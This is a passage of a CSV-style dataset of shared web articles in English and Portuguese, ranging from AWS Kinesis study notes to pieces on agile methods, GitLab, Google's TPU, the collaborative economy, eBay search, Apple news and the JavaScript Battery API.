instances. You'll create data-processing applications, known as Amazon Kinesis Streams applications . A typical Amazon Kinesis Streams application reads data from an Amazon Kinesis stream as data records. These applications can use the Amazon Kinesis Client Library, and they can run on Amazon EC2 instances. The processed records can be sent to dashboards, used to generate alerts, dynamically change pricing and advertising strategies, or send data to a variety of other AWS services. The PutRecord command is used to put data into a stream Data is stored in Kinesis for 24 hours, but this can go up to 7 days You can use Streams for rapid and continuous data intake and aggregation. The type of data used includes IT infrastructure log data, application logs, social media, market data feeds, and web clickstream data. Because the response time for the data intake and processing is in real time, the processing is typically lightweight The following are typical scenarios for using Streams Accelerated log and data feed intake and processing Real-time metrics and reporting Real-time data analytics Complex stream processing An Amazon Kinesis stream is an ordered sequence of data records. Each record in the stream has a sequence number that is assigned by Streams. The data records in the stream are distributed into shards A data record is the unit of data stored in an Amazon Kinesis stream. Data records are composed of a sequence number, partition key, and data blob, which is an immutable sequence of bytes. Streams does not inspect, interpret, or change the data in the blob in any way. A data blob can be up to 1 MB Retention Period is the length of time data records are accessible after they are added to the stream. A stream's retention period is set to a default of 24 hours after creation. You can increase the retention period up to 168 hours (7 days) using the IncreaseRetentionPeriod operation A partition key is used to group data by shard within a stream Each data record has a unique sequence number. The sequence number is assigned by Streams after you write to the stream with client.putRecords or client.putRecord Producers put records into Amazon Kinesis Streams. For example, a web server sending log data to a stream is a producer Consumers get records from Amazon Kinesis Streams and process them. These consumers are known as Amazon Kinesis Streams Applications An Amazon Kinesis Streams application is a consumer of a stream that commonly runs on a fleet of EC2 instances A is a uniquely identified group of data records in a stream. A stream is composed of one or more shards, each of which provides a fixed unit of capacity Once a stream is created, you can add data to it in the form of records. A record is a data structure that contains the data to be processed in the form of a data blob. After you store the data in the record, Streams does not inspect, interpret, or change the data in any way. Each record also has an associated sequence number and partition key There are two different operations in the Streams API that add data to a stream, PutRecords and PutRecord. The PutRecords operation sends multiple records to your stream per HTTP request, and the singular PutRecord operation sends records to your stream one at a time (a separate HTTP request is required for each record). You should prefer using PutRecords for most applications because it will achieve higher throughput per data producer An Amazon Kinesis Streams producer is any application that puts user data records into an Amazon Kinesis stream (also called data ingestion ). The Amazon Kinesis Producer Library (KPL) simplifies producer application development, allowing developers to achieve high write throughput to a Amazon Kinesis stream. You can monitor the KPL with Amazon CloudWatch The agent is a stand-alone Java software application that offers an easier way to collect and ingest data into Streams. The agent continuously monitors a set of log files and sends new data records to your Amazon Kinesis stream. By default, records within each file are determined by a new line, but can also be configured to handle multi-line records. The agent handles file rotation, checkpointing, and retry upon failures. It delivers all of your data in a reliable, timely, and simple manner. It also emits CloudWatch metrics to help you better monitor and troubleshoot the streaming process. You can install the agent on Linux-based server environments such as web servers, front ends, log servers, and database servers. After installing, configure the agent by specifying the log files to monitor and the Amazon Kinesis stream names. After it is configured, the agent durably collects data from the log files and reliably submits the data to the Amazon Kinesis stream SNS is Simple Notification Services - publisher creates a topic and then subscribers get updates sent to topics. This can be push to Android, iOS, etc Use SNS to send push notifications to desktops, Amazon Device Messaging, Apple Push for iOS and OSX, Baidu, Google Cloud for Android, MS push for Windows Phone and Windows Push notification services Steps to create mobile push:- Request credentials from mobile platforms Request token from mobile platforms Create platform application object Publish message to mobile endpoint Grid computing vs cluster computing Grid computing is generally loosely coupled, often used with spot instances and tend to grow and shrink as required. Use different regions and instance types Distributed workloads Designed for resilience (auto scaling) - horizontal scaling rather than vertical scaling Cluster computing has two or more instances working together in low latency, high throughput environments Uses same instance types GPU instances do not support SR-IOV networking Elastic Transcoder encodes media files and uses a pipeline with a source and destination bucket, a job and a pre-set (what media type, watermarks etc). Pre-sets are templates and may be altered to provide custom settings. Pipelines can only have one source and one destination bucket Integrates into SNS for job status updates and alerts",en
1471915875,CONTENT SHARED,4234941042749452539,3217014177234377440,4412670138753085074,,,,HTML,https://jorgekotickaudy.wordpress.com/2016/08/21/onde-esta-o-duplo-diamante-do-dt-em-projetos-ageis/,Onde está o duplo diamante do DT em projetos ágeis,"Conhecemos por duplo diamante uma das representações diagramáticas do Design Thinking (DT), proposta visual aparentemente proposta pelo Design Council. Uma proposta que materializa a necessidade de não apenas perguntar e responder, mas ver por todos os ângulos, mesclar diferentes pontos de vistas a cada passo, entender, idear, prototipar, planejar, validar a cada passo, até a conclusão: Metodologias ágeis se utilizam dos mesmos princípios baseados em colaboração, capital intelectual coletivo, senso de pertencimento e ciclos curtos de feedback. Com o tempo, deixei de usar os diagramas clássicos do Scrum, desenvolvendo um diagrama que traduzisse minhas convicções, com pequenos duplos diamantes a cada sprint, contendo o DoR e DoD (Definition Of Ready e Done): A esquerda, a fase de pré-game é um grande duplo diamante, usando técnicas diversas para entendimento, observação e seleção de alternativas, prosseguindo com ideação, prototipação, validação e planejamento em iterações, encerrando com um planejamento inicial, MVP, sempre iterativo-incremental-articulado. Nos ciclos iterativos-incrementais, cada sprint, cada combinação de DoR seguido de DoD é um pequeno duplo diamante, cada ciclo de entendimento, discussão e especificação na parte de cima (discovery), complementado por definir o design, desenvolvimento, testes e homologação na parte de baixo (delivery). Ciclos concorrentes, onde o discovery/DoR está sempre um passo a frente, pré-requisito do ciclo de delivery/DoD, este quando estiver sendo executado tendo em paralelo inicio e especificação de um novo discovery/DoR, imprescindível para a próxima iteração, o próximo duplo diamantezinho dos nossos sprints. O desenho acima foi como tudo começou quando tentei diagramar o método SCRUM de uma forma em que o ciclo de DoR de Discovery seja precedente ao ciclo de DoD de Delivery. Desta forma, teremos sempre ciclos concorrentes e subsequentes em pedaços mais relevantes e cronologicamente organizados. Antes mesmo de compartilhar o diagrama, fui refatorando por achar que estava muito complexo com os diamantezinhos, concluindo que uma simples alusão a eles, usando uma diagramação mais simples seria melhor, chegando ao desenho final que adotei, do qual tenho muito orgulho pela sua objetividade e clareza: O grande James Shore em 2012 apresentou no Agile Brazil seu modelo de fluência, onde é possível perceber a agilidade desde o primeiro passo, assim que uma equipe ou empresa inicia sua caminhada. Quem acha que somente faz Design Thinking quem usa blocos coloridos, sucata, ludificação extrema, desculpa aí, mas não sou de amenizar ... é porque não entendeu nada! NÃO acredito em receitas mágicas, monolíticas, sou defensor da convergência metodológica. Quem não conhece todas as melhores e mais usadas metodologias, frameworks e conceitos do seu tempo, tende a ter uma visão monocromática ou limitada de causas e efeitos, aposta na sorte: As vezes da certo, as vezes não! Design Thinking é modelo mental complementar e sinérgico aos Scrum, Kanban, Lean Startup, Gamestorming, Lean Office, todos seguem os mesmos princípios e nenhum deles imprescinde dos demais métodos. É um grande risco aplicar qualquer um deles sem analisar complementariedade metodológica, mínimo necessário x desperdícios, valor e foco, negócio, tecnologia, equipe e stakeholders.",pt
1471924347,CONTENT SHARED,-2479936301516183562,-1032019229384696495,-1085681130193775758,,,,HTML,http://venturebeat.com/2016/08/22/gitlab-issue-boards/,"GitLab launches Issue Boards, an open-source task management tool that resembles Trello","Source code repository software startup GitLab today is introducing Issue Boards, an open-source task-management tool that will be integrated into the existing web service for all users, free of charge. The tool provides a visual interface where team members can track the status of their projects. Rather than require users to list out all the tasks that have been completed and have yet to be done, the tool can take in existing issues from teams' repositories and drop them in automatically using the labels that have previously been applied to issues. All boards have two lists enabled by default: Backlog and Done, GitLab said in a blog post . Users can add unlimited lists - each one representing a step in the development process - but just one board, a spokesperson told VentureBeat in an email. Enterprises customers could get unlimited boards in the future, the spokesperson said. Issues can be filtered by their corresponding label, milestone, author, or assignee. Of course, developers have always been able to check out issues for projects hosted on GitLab. Issue Boards offer a different representation of things that people need to do. GitLab says the tool can help teams with thousands and thousands of issues do a better job of figuring out what to focus on. The thing is, many other tools help people manage tasks - Trello, Wrike, Asana, the recently launched Microsoft Planner , and so on. There are also open-source task management tools, including Kanboard, Restyaboard, and Wekan. GitLab's Issue Boards bear a striking similarity specifically to Trello, which had more than 12 million users as of January. But GitLab, which competes with Atlassian's Bitbucket and GitHub, has been seeking to make its offering more well rounded. Not only is it core functionality open source unlike GitHub. It now packages up additional tools like Mattermost, an open-source alternative to team communication app Slack, and also it now lets users easily build and run code inside a Koding cloud-based integrated development environment (IDE) . Founded in 2011 by Dmitriy Zaporozhets and Sytse ""Sid"" Sijbrandij, GitLab is currently used by more than 100,000 organizations, including Alibaba, CERN, Expedia, IBM, NASA, and SpaceX. You can find the code for Issue Boards here . Get more stories like this on Twitter & Facebook",en
1471925174,CONTENT SHARED,4430356355587165611,-1032019229384696495,-1085681130193775758,,,,HTML,http://www.techradar.com/news/computing-components/processors/google-s-tensor-processing-unit-explained-this-is-what-the-future-of-computing-looks-like-1326915,Google's Tensor Processing Unit explained: this is what the future of computing looks like,"When Google unveiled its Tensor Processing Unit (TPU) during this year's Google I/O conference in Mountain View, California, it finally ticked for this editor in particular that machine learning is the future of computing hardware. Of course, the TPU is only a part of the firm's mission to push machine learning - the practice that powers chat bots, Siri and the like - forward. (It's also the chip that defeated the world Go champion recently.) Google also has TensorFlow, its open source library of machine intelligence software. And sure, the chips that we find in our laptops and smartphones will continue to get faster and more versatile. But, it seems as if we've already seen the extent of the computing experiences that these processors can provide, if only limited by the devices they power. Now, it's the TPU, a meticulous amalgamation of silicon built specifically for one purpose, and other specialized processors both already here (like Apple's M9 co-processor) and to come, that stands to push the advancement of mankind's processing power - and in turn our device's capabilities - further and faster than ever before. So, we wanted to learn more about this new kind of chip, how it's different exactly, just how powerful it is and how it was made. While Google Distinguished Hardware Engineer Norm Jouppi wouldn't disclose much about the chip's construction (it's apparently just that special to Google), he enlightened us over email regarding just what the TPU is capable of and its potential for the future of machine learning. TechRadar: What is the chip exactly? Norm Jouppi: [The] Tensor Processing Unit (TPU) is our first custom accelerator ASIC [application-specific integrated circuit] for machine learning [ML], and it fits in the same footprint as a hard drive. It is customized to give high performance and power efficiency when running TensorFlow. Great software shines even brighter with great hardware underneath it. What makes the TPU different from your standard processor specifically? TPUs are customized for machine learning applications using TensorFlow. Note that we continue to use CPUs [central processing units] and GPUs [graphics processing units] for ML. How does the chip operate any differently from normal CPUs? Our custom TPU is unique in that it uses fewer computational bits. It only fires up the bits that you need, when you need them. This allows more operations per second, with the same amount of silicon. One of the only views of the TPU that Google has released What makes this approach to computational processing better than standard processors at machine learning specifically? Great software shines even brighter with great hardware underneath it. By building custom hardware for machine learning, we're able to tackle new research and increase our potential to do so much more with ML-powered applications. By custom building the ASIC, we are able to deliver an order of magnitude better-optimized performance per watt for machine learning, and it's tailored for TensorFlow. Using Google's fleet of TPUs, we can find all the text in the Street View database in less than five days. How powerful is the TPU in relation to standard processors? TPU offers an order of magnitude better performance per watt than standard solutions you can buy today (more energy efficient). Is there a relatable figure you can apply to its performance, i.e. what it would be equivalent to? We're not disclosing specifics, but here are some examples. We've increasingly been integrating our ML to understand the world and improve the accuracy and quality of our maps, and navigation. Using Google's fleet of TPUs, we can find all the text in the Street View database in less than five days. In Google Photos, each TPU can process [more than] 100 million photos a day. If the claim is that the TPU launches Moore's Law forward by three generations, what does that mean for the rest of us? It's not that we've moved Moore's Law forward by 3 generations, but that the benefits of a specialized ASIC are roughly equivalent to a general-purpose processor using a technology that is three generations better. The benefits of specialization are well-known in the ASIC industry - for example, see slide 26 of Mark Horowitz's "" Scaling Power and the Future of CMOS ."" We're making the benefits of specialization for TensorFlow widely available through Google services. Can we expect to see the TPU, or something similar or any learnings from it, impact our everyday devices? TPUs are making our machine-learning powered services more accurate and useful every day. We don't have anything else to announce today, but we're not standing still. This article is part of TechRadar's Silicon Week . The world inside of our machines is changing more rapidly than ever, so we're looking to explore everything CPUs, GPUs and all other forms of the most precious metal in computing. Article continues below",en
1471926855,CONTENT SHARED,8169351562924200055,3609194402293569455,2476005711861360409,,,,HTML,https://endeavor.org.br/como-aproveitar-economia-colaborativa/,Economia Colaborativa: a tendência que está mudando o mercado,"Você se lembra de quando falamos, por aqui, sobre o fim da ""era lucrozóica"" ? Sobre como o capitalismo consciente tem transformado a economia global, que aos poucos deixa para trás o princípio perverso do hiperconsumo e do sucesso financeiro a qualquer custo? Sim, o tal do impacto social vem mudando a forma como vivemos e,principalmente, como fazemos negócios. O movimento da economia colaborativa (compartilhada ou em rede, como a chamam alguns) nada mais é do que a concretização dessa nova percepção de mundo. Representa o entendimento de que, diante de problemas sociais e ambientais que só fazem se agravar, a divisão deve necessariamente substituir o acúmulo . E o tremendo sucesso de empresas que facilitam o compartilhamento e a troca de serviços e objetos é prova de como a adesão à tendência está longe de atingir um ápice. Uber, e tantas outras que o digam. Seja para poupar ou mesmo para levantar alguma renda extra, hoje praticamente não há limites para o compartilhamento. O fotógrafo paranaense Gustavo Benke, mencionado nesta matéria da Exame , é exemplo disso. Acostumado a receber, na sua casa de Curitiba, parentes, amigos e amigos de amigos, Gustavo decidiu adotar o mesmo estilo de vida na casa que aluga em Florianópolis, onde estuda. A divisão do espaço traz benefícios para todo mundo: os hóspedes economizam com a estadia, a alimentação e tudo mais, e Gustavo recebe ajuda nas despesas. Ele também tem o hábito de trocar serviços fotógráficos por bens ou serviços de que necessita. Mas basta uma rápida pesquisa para você perceber que esse estilo de vida não tem nada de novo. De acordo com Tomás de Lara, cofundador da Engage, além de co-fundador do Catarse, o fenômeno da economia colaborativa é ancestral: ""povos indígenas e comunidades já tinham isso de compartilhar, de acessar as coisas dos outros, de trocar"" , diz ele . A novidade é a forma massiva como o fenômeno passou a ocorrer em meados de 2008, 2009, graças aos avanços tecnológicos.""A partir dali, todo mundo, de forma muito rápida e quase que barata, pôde fazer transações e se geolocalizar, se encontrar e saber da melhor forma de se usar um recurso"". Desde então, a Internet 2.0 vem permitindo que a população global assuma um ""poder social"" como jamais aconteceu antes. Graças à força da colaboração, transformações importantes ocorreram e vêm ocorrendo: novas empresas nasceram, outras grandes deixaram de existir e até ditadores foram removidos do poder. A Primavera Árabe é um exemplo disso. Assim como Gustavo Benke escolheu compartilhar sua casa, o egípcio Mahmoud Sharif resolveu se levantar contra o longevo e repressivo regime de Hosni Mubarak. Graças a uma imensa rede de compartilhamento, juntou-se a milhares de pessoas na Praça Tahrir, e os resultados são conhecidos. Um furo na parede em vez de uma furadeira Os exemplos acima ilustram o imensurável alcance da economia colaborativa, sem dúvida. Mas o tema aqui não é geopolítica. Queremos, antes, que você tenha ideia da importância do assunto e que consiga aproveitar as oportunidades oferecidas nesse novo contexto, no qual as pessoas ""não precisam mais de uma furadeira, mas de um furo na parede"" , como diz Tomás de Lara. Neste artigo do portal Entrepreneur , o Venture Capitalist Tx Zhuo lista boas práticas que podem te ajudar a nadar de braçada na economia colaborativa: Mantenha baixos os custos fixos: de acordo com Zhuo, com o tempo, a tecnologia derrubará os custos em geral. Isso significa que as empresas bem-sucedidas serão aquelas que organizarem melhor suas estruturas financeiras. Diminuir o número de funcionários permanentes e terceirizar atividades periféricas podem ajudar; Em vez de reinventar a roda, procure-a em parceiros: Zhuo dá o exemplo da ChowNow, empresa norte-americana que oferece gerenciamento de pedidos online a restaurantes. Em vez de construir sua própria plataforma de delivery , a ChowNow desenvolveu uma parceria com a Uber para realizar as entregas, e os resultados têm sido ótimos . Foque no relacionamento de longo prazo: Zhuo conta que agora que as margens para compartilhamento são estreitas, as empresas precisam dar prioridade para relações duradouras com os clientes. Para isto, ele sugere proporcionar grandes experiências de consumo ao público. Investindo em empresas que se complementam: o exemplo da Axial Holding Por mais que os já mencionados Uber e Airbnb sejam exemplos de como essas boas práticas funcionam, ambos já foram objetos de muito estudo. Por isso, ao procurar por um case que represente o tema, preferimos abordar a questão a partir de outro viés: o offline . E por meio de um setor bastante competitivo de nosso país, o agronegócio . Espécie de fundo de private equity focado em empresas e instituições do agronegócio orgânico, a Axial Holding tem um importante diferencial: o portfólio se auto-alimenta. Ou seja, as empresas investidas exercem atividades que se complementam, colaborando umas com as outras. Por exemplo: na carteira da Axial está a Fazenda Tamanduá , de cultivo de produtos agrícolas e produção de pecuária orgânica. Caso precisem de micro-crédito, os produtores podem recorrer a outra empresa investida, o Instituto Estrela , que dá empréstimos a pequenos empreendedores individuais que não têm acesso ao sistema bancário convencional. E se for necessário promover o melhoramento genético da soja, os agricultores podem contar com a Naturalle , empresa voltada à pesquisa da soja, além de produtividade, adaptação regional e resistência a pragas e enfermidades. Ao investir em empresas que colaboram entre si, a Axial está contribuindo para reformular a cadeia produtiva do setor de orgânicos. E um dos mais significativos resultados desta filosofia é a Rio de Una , outra aposta do fundo. A empresa atua no processamento (lavagem, corte, higienização e embalagem) de frutas, legumes e vegetais (tanto orgânicos quanto convencionais). E a filosofia colaborativa está na essência dos processos, já que os mais de 120 pequenos agricultores familiares que compõem a base produtiva da Rio de Una recebem assistência técnica e têm a compra de sua produção garantida o ano todo . Pela planta industrial da empresa passam mensalmente mais de 200 toneladas de hortaliças e legumes, que são transformados em saladas e atendem o mercado de varejo e foodservice em todo o Brasil. Ou seja, o s princípios da economia colaborativa estão influenciando toda uma cadeia não apenas de produção, mas de investimentos . É mais um sinal de que essa nova forma de fazer negócios - mais responsável e consciente - veio para ficar. Prova disso também são as empresas que valem 17 bilhões de dólares, os 60 mil funcionários que elas empregam e os 15 bilhões de dólares que receberam de investimento (de acordo com este artigo da Forbes ). E, a julgar pelo interesse do público em geral, esse bolo só tende a crescer. Que tal se preparar para pegar uma fatia?",pt
1471927007,CONTENT SHARED,-3699283667575074041,3609194402293569455,2476005711861360409,,,,HTML,https://endeavor.org.br/como-inovar-core-negocio/,Degraus para o sucesso: a inovação no core do negócio,"A inovação é parte essencial de qualquer empresa. Veja como Edgard Corona, empreendedor à frente do Grupo Bio Ritmo, mantém sua equipe ligada nas tendências do setor. Com certa frequência sou convidado a participar de debates e discussões sobre o ambiente de negócios no Brasil e estratégias de sucesso para um mercado cada vez mais desafiador. Comecei minha trajetória empreendedora à frente do Grupo Bio Ritmo, ainda na segunda metade dos anos 1990 e de lá para cá colecionei sucessos, frustrações e, acima de tudo, lições valiosas que pavimentaram todo o caminho até aqui. Obviamente, não existe uma receita pronta que te garanta uma posição entre os líderes de mercado, mas, olhando para trás, destaco pontos que foram fundamentais na construção de uma marca forte e consolidada. Veja também: Day 1 Fórmula do Empreendedorismo de Sucesso [Edgard Corona - BioRitmo] Logo nos primeiros anos da Bio Ritmo, notamos que para crescer e bater de frente com os principais competidores da época precisaríamos dar um passo além e adotar ideias e processos completamente diferentes dos praticados pelo mercado . Inicialmente, investimos em consultores que pudessem nos direcionar, mas as respostas nunca nos saciavam. Foi então que assumimos a lição de casa e investimos em uma extensa plataforma de benchmarking , criando um programa de viagens aos funcionários da rede para que, com base no que viram fora, pudessem ter insights sobre o que estávamos fazendo de errado e sobre o que poderia ser aperfeiçoado. Apesar de simples, a ideia foi um sucesso e se mantém até hoje. Atualmente, boa parte do nosso time visita periodicamente feiras e eventos nacionais e internacionais em busca de novas informações e ideias . Muitas vezes as equipes não estão em busca de nenhum ponto em específico, mas simplesmente de dados genéricos - e sim, há um motivo para isso. Às vezes tropeçamos em informações que não parecem úteis num primeiro momento, mas que se compartilhadas e debatidas em equipe podem resultar em ideias geniais. É o que chamo de sensação de célula dormente. Você tem uma célula que em um momento inesperado será ativada, necessitando que você surja com respostas imediatas e pontuais. Mas, claro, isoladamente, esse exercício jamais seria suficiente. Ainda em complemento ao programa de viagens, adotamos um modelo de gestão horizontal como modo de estimular a troca e geração de ideias. Desde muito cedo fomos ensinados a acreditar que a vem da ponta, ou daqueles que ocupam cargos de liderança dentro de uma empresa. Quem entende de cliente é quem está no front . Daí que vem a informação e as ideias. Testar rápido, corrigir rápido e implementar rápido faz parte da nossa cultura, o que também significa não ter medo de errar. Nesse sentido, não matar ideias e criar mecanismos que deem voz aos funcionários e que os estimulem a contribuir com sugestões é um ponto essencial. Para exemplificar, recentemente um dos atendimentos da Smart Fit participou de uma reunião com outros dois colaboradores de uma das academias da rede. Dessa reunião, surgiu a ideia de colocarmos botões nos equipamentos de treino para que os clientes pudessem chamar os instrutores quando precisassem de ajuda. Em outras palavras, partimos do princípio de que para chegar a ideias inovadoras e a resultados novos é preciso contar com a participação de todos, principalmente daqueles que estão na linha de frente do atendimento. Também entendemos que para acertar é preciso estar disposto a lidar com os erros que acontecerão no meio do caminho. Leia também: E depois do fracasso, vem o quê? Em mais de duas décadas, aprendemos que a experiência do consumidor com a nossa marca começa muito antes do primeiro contato com ela. Analisar hábitos e perfis de consumo foi fundamental para posicionar a empresa e apresentar os seus diferenciais . É com esse conceito em mente que lançaremos, em breve, linhas de roupas e de suplementos alimentares com a marca da Smart Fit. Ainda com base na análise que fizemos sobre o comportamento do consumidor , estamos estruturando projeto piloto para os clientes que fazem uso de isotônicos e outros líquidos antes ou após o treino. Leia também: O que a Bauducco pode te ensinar sobre atendimento ao cliente e paixão A partir do próximo ano, todas as academias estarão equipadas com modelo de bar onde os clientes poderão consumir uma dose do produto, pagando mensalmente menos da metade do que seria pago em estabelecimentos comerciais convencionais. Em todos os casos, os projetos mencionados visam tornar acessíveis produtos e serviços adjacentes à prática esportiva e que potencialmente possam tornar a experiência de treino de nossos clientes ainda mais completa. Por mais que os diferenciais oferecidos não sejam o ponto central do nosso negócio, eles se apresentam como uma oportunidade única de incluir facilidades na rotina de treino de nossos clientes capazes de melhorar a percepção e a experiência deles com a nossa marca. Em acompanhamento à evolução do mercado, atualmente testamos uma série de novas iniciativas, algumas mais avançadas e em vias de serem adotadas pelas unidades da Bio Ritmo e Smart Fit em todo o país, outras ainda em estágio de avaliação e amadurecimento. De todo modo, é certo que algumas medidas tomadas ao longo dos anos foram fundamentais em nossa história e que, em comum, todas partiram da inquietude de sempre buscar pelo novo. Em um mundo em constante mudança e em movimento, ficar parado não é a solução . O sucesso de ontem não garante o dia de amanhã. E é muito bom viver esse desafio e a oportunidade de contribuir para um mundo melhor",pt
1471927806,CONTENT SHARED,-8508606815368130888,3609194402293569455,2476005711861360409,,,,HTML,http://www.revista-programar.info/anuncios/revista-programar-no-53-agosto-de-2016/,Revista PROGRAMAR nº 53 - Agosto de 2016,"A Revista PROGRAMAR está de volta com mais uma edição. Desta vez temos como tema de capa o artigo Entity Framework Core 1 , da autoria de Ricardo Peres. Adicionalmente, nesta edição poderá encontrar mais 14 artigos, que listamos de seguida: Algoritmo de Dijkstra (Rita Peres) Funções de distribuição de probabilidade e o Python (Fernando Gomes de Souza Júnior) Sistema de chat público em PHP (Sandro Marques) O meu primeiro Jogo em MonoGame (António Pedro Cunha Santos) Introdução ao Arduino (Adrian Pearce, André Melancia) O silêncio e os interrupts (António Pedro Cunha Santos) Análise do livro Android: Desenvolvimento de Aplicações com Android Studio (Monica Rodrigues) Análise do livro SQL Server 2014: Curso Completo (André Melancia) O Poder de uma SPA (Monica Rodrigues) A Vida na Cloud (Pedro Pico) A Industria Alimentar Aliada às T.I. (Vanessa Faquir dos Santos) A Engenharia de Software, a qualidade final do software e o papel do profissional de desenvolvimento (Augusto Manzano) Entrevista a Vânia Gonçalves (Rita Peres) Projecto em Destaque na Comunidade P@P - Dirt Bike Extreme (António Pedro Cunha Santos) Clique aqui para fazer o download desta edição!",pt
1471948855,CONTENT SHARED,7342707578347442862,-1443636648652872475,8026858476703585065,,,,HTML,https://www.ebayinc.com/stories/news/at-ebay-machine-learning-is-driving-innovative-new-approaches-to-search-experiences/,"At eBay, Machine Learning is Driving Innovative New Approaches to Search Experiences","At eBay, machine learning technology has been breaking down borders for years. Starting in Russia , and now also in France, Italy, and Spain, eBay is leading the industry by applying automatic machine translation to commerce. When buyers search in these countries, eBay translates their request, and responds with relevant translated inventory from other countries in other languages. eBay is also pioneering powerful new ways to leverage machine learning technology to enhance the speed, accuracy and relevance of search on the eBay platform. Translating search queries is an important step in providing eBay's global customers with localized shopping experiences. However, in addition to translation, machine learning can produce striking efficiencies when applied to traditionally human cognitive functions such as perception and visual processing. According to some, machine learning could even alter how we think about search technology altogether. ""As machines get better at decoding natural language, commerce should become increasingly conversational -- eventually rendering the search box redundant,"" eBay CEO Devin Wenig recently wrote . Selcuk Kopru is a Research Scientist working on integrating machine learning with search on eBay. ""Machine learning is especially helpful at problems that require human cognitive capabilities like perception, language processing and visual processing,"" he said. ""At eBay, we work to anticipate and simulate these capabilities."" Relevance and Prediction As a few examples of how machine learning can enhance search and shopping experiences, Kopru points to predictive and item categorization tasks. ""We apply machine learning techniques to item-to-product matching, price prediction and item categorization tasks on eBay,"" Kopru said. ""We also employ them for attribute extraction, generating the proper names of browse nodes, filtering product reviews and more. Machine learning helps us optimize the relevance of shoppers' search and navigation experiences."" Keywords are not enough for optimized search experiences, Kopru added. ""Search has moved well beyond simple keyword matching,"" he said. ""We have seen that extracting semantics from item titles and descriptions using machine learning algorithms has helped to improve relevance in our search experiences."" The largest scale application of machine learning technology at eBay is currently Best Match, the algorithm used to optimize relevance for buyers during their shopping experiences. Best Match analyzes everything from item popularity to potential value to the buyer, to terms of service such as return policies. It is a powerful tool for surfacing deals. ""Shoppers want relevance, but they also want great deals,"" said eBay Technical Fellow David Goldberg. ""Those deals might be auctions or Buy It Now items, and might come from an individual seller or a large retailer. Balancing all these things and finding the right match is a challenging machine learning problem that is unique to eBay."" ""We are also applying statistical learning to optimize the whole page: reacting to the users' actions we can reorder and prioritize the content in the search page, providing search guidance or access to top deals and top products in appropriate context while minimizing distractions"" said Alex Cozzi from the Search Science team. At a Tipping Point This is no ordinary time for machine learning, Kopru emphasized. ""We are in the golden age of machine learning as applied to search,"" he said. ""Open sourced machine learning libraries enable applications for us without the need to implement everything from scratch. We can also run very complex and deep models with today's computing clusters. These enabling technologies let us model new search experiences from many angles faster than we ever could before."" Our CEO on Machines and Cognition Machine translation, machine learning, search and artificial intelligence are all advancing in tandem at eBay. In a recent post , eBay CEO Devin Wenig had much to say about the promise of artificial intelligence and machine learning technologies patterned after human cognitive capabilities. ""The landscape is changing rapidly, particularly in the last six to eight months,"" Wenig wrote. ""We have seen radical sharpening of the intelligence of machines - computers can now use image recognition for diagnosing diseases or developing scientific theories. ""We already use machine learning algorithms to recognize objects in listings, find similar products, and rank recommendations,"" Wenig added. ""And we deploy AI in various areas, from structured data to machine translation to risk and fraud management. In the next few years, we'll witness an unprecedented convergence of technology, commerce and consumer expectations.""",en
1471956929,CONTENT SHARED,-1658488648009216718,-709287718034731589,-8543976727396364315,,,,HTML,http://www.cultofmac.com/443047/apple-music-festival-will-kick-off-on-september-18/,Apple Music festival will kick off on September 18,"Apple has announced the dates for its 2016 Apple Music Festival (formerly the iTunes Festival), which will return to the U.K. this September for ""10 exhilarating nights of live music."" No musical acts have been revealed yet, but if previous years are anything to go by, this promises to be a star-studded lineup. Last year, acts included everyone from the Chemical Brothers and the Weeknd to Florence and the Machine, and Pharrell. Given the plethora of artists to debut their albums exclusively on Apple Music this year, I wouldn't be at all surprised to see names like Britney Spears , Drake , or Frank Ocean at this year's festival - or even appearances from some of the Cash Money artists to coincide with the forthcoming Apple-produced documentary about the rap label. On its website, Apple notes that: ""Residents of the U.K. can win tickets to the gigs. Apple Music members around the world can watch the performances for free. Ticket applications will be opening soon. Follow @AppleMusic on Twitter and Snapchat for up-to-the-minute information and join the #AMF10 conversation."" More details will be posted on the Apple Music Festival website between now and September. The festival is scheduled to run between September 18 and September 30.",en
1471957057,CONTENT SHARED,4575212535548313873,-709287718034731589,-8543976727396364315,,,,HTML,http://www.cultofmac.com/443021/bids-for-apple-1-computer-built-by-steve-jobs-pass-500000/,"Bids for Apple-1 computer built by Steve Jobs pass $500,000","Online bids for an original Apple-1 computer, reportedly built by Steve Jobs, have passed $500,000. The so-called ""Celebration"" Apple-1 comes with period correct power supply, original Apple-1 ACI cassette board, Apple-1 BASIC cassettes, original marketing material, and the most complete documentation set of the known Apple-1 boards. Only around 60 Apple-1 units are thought to still exist today. As the Charitybuzz auction notes: ""At this time, this is the only known Apple-1 to show the signs of starting out as a blank original-run board and not part of the two known production runs, so this board appears to be unique from all other known Apple-1 boards."" This particular Apple-1 unit was reportedly acquired it in 2000 for $18,000. A minimum of 10 percent of the total funds the auction raises are going to be donated to cancer charity the Leukemia and Lymphoma Society of Arizona. If you're interested in getting involved with the charity auction you can do so here . The bidding ends this Thursday, and the ""estimated value"" of this particular lot is listed as being $1 million. The most expensive Apple-1 to ever sell went for $905,000 at a Bonhams auction in 2014 - exceeding the expected $300,000-$500,000 target price.",en
1471962725,CONTENT SHARED,-2328163218997425612,3609194402293569455,2476005711861360409,,,,HTML,http://tutorialzine.com/2016/08/working-with-the-javascript-battery-api/,Quick Tip: Working with the JavaScript Battery API,"Quick Tip: Working with the JavaScript Battery API Danny Markov In this tutorial we're going to show you how to use the JavaScript Battery API to improve the user experience for people in desperate need of a charger. We'll look at the Battery API itself, as well as some techniques for getting the most out of every drop of the most precious of resources! Monitoring Battery Life The JavaScript Battery Status API talks to the device's hardware and gives us accurate data about the system's charging state. It can be accessed via the promise based navigator.getBattery() interface, or directly via the navigtator.battery object, although the second option is now deprecated and overall not recommended. Some browsers lack support for the Battery API (you guessed it, they are Safari and IE), so a quick support check can go a long way in terms of debugging: Once we are sure that your user can access the API, grabbing the needed information is really easy: The getBattery() method returns a promise and resolves with a BatteryManager object containing various information about the current status of the hardware: batteryManager.level - The current charge, returns a float between 0 and 1. batteryManager.charging - Is the device on power supply or not, returns true/false. batteryManager.chargingTime - Remaining time in seconds till completely charged. batteryManager.dischargingTime - Remaining time until battery is dead. It also provides events that can be used to monitor changes in any of the above properties. BatteryManager.onlevelchange BatteryManager.onchargingchange BatteryManager.onchargingtimechange BatteryManager.ondischargingtimechange Combining the raw data with the event listeners, we can easily set up a watcher for low battery levels: Once we know how much juice is left in the device we can adapt the app and turn on a power saving mode if its needed. Preserving energy The biggest battery drainer of all components is the screen. This is especially true on smartphones and tablets where often CPUs are energy preserving, while the screens have super-ultra-full-QHD resolution with the brightness of two suns. The first and foremost thing we can do to address this issue is limit the amount of light the screen is emitting. 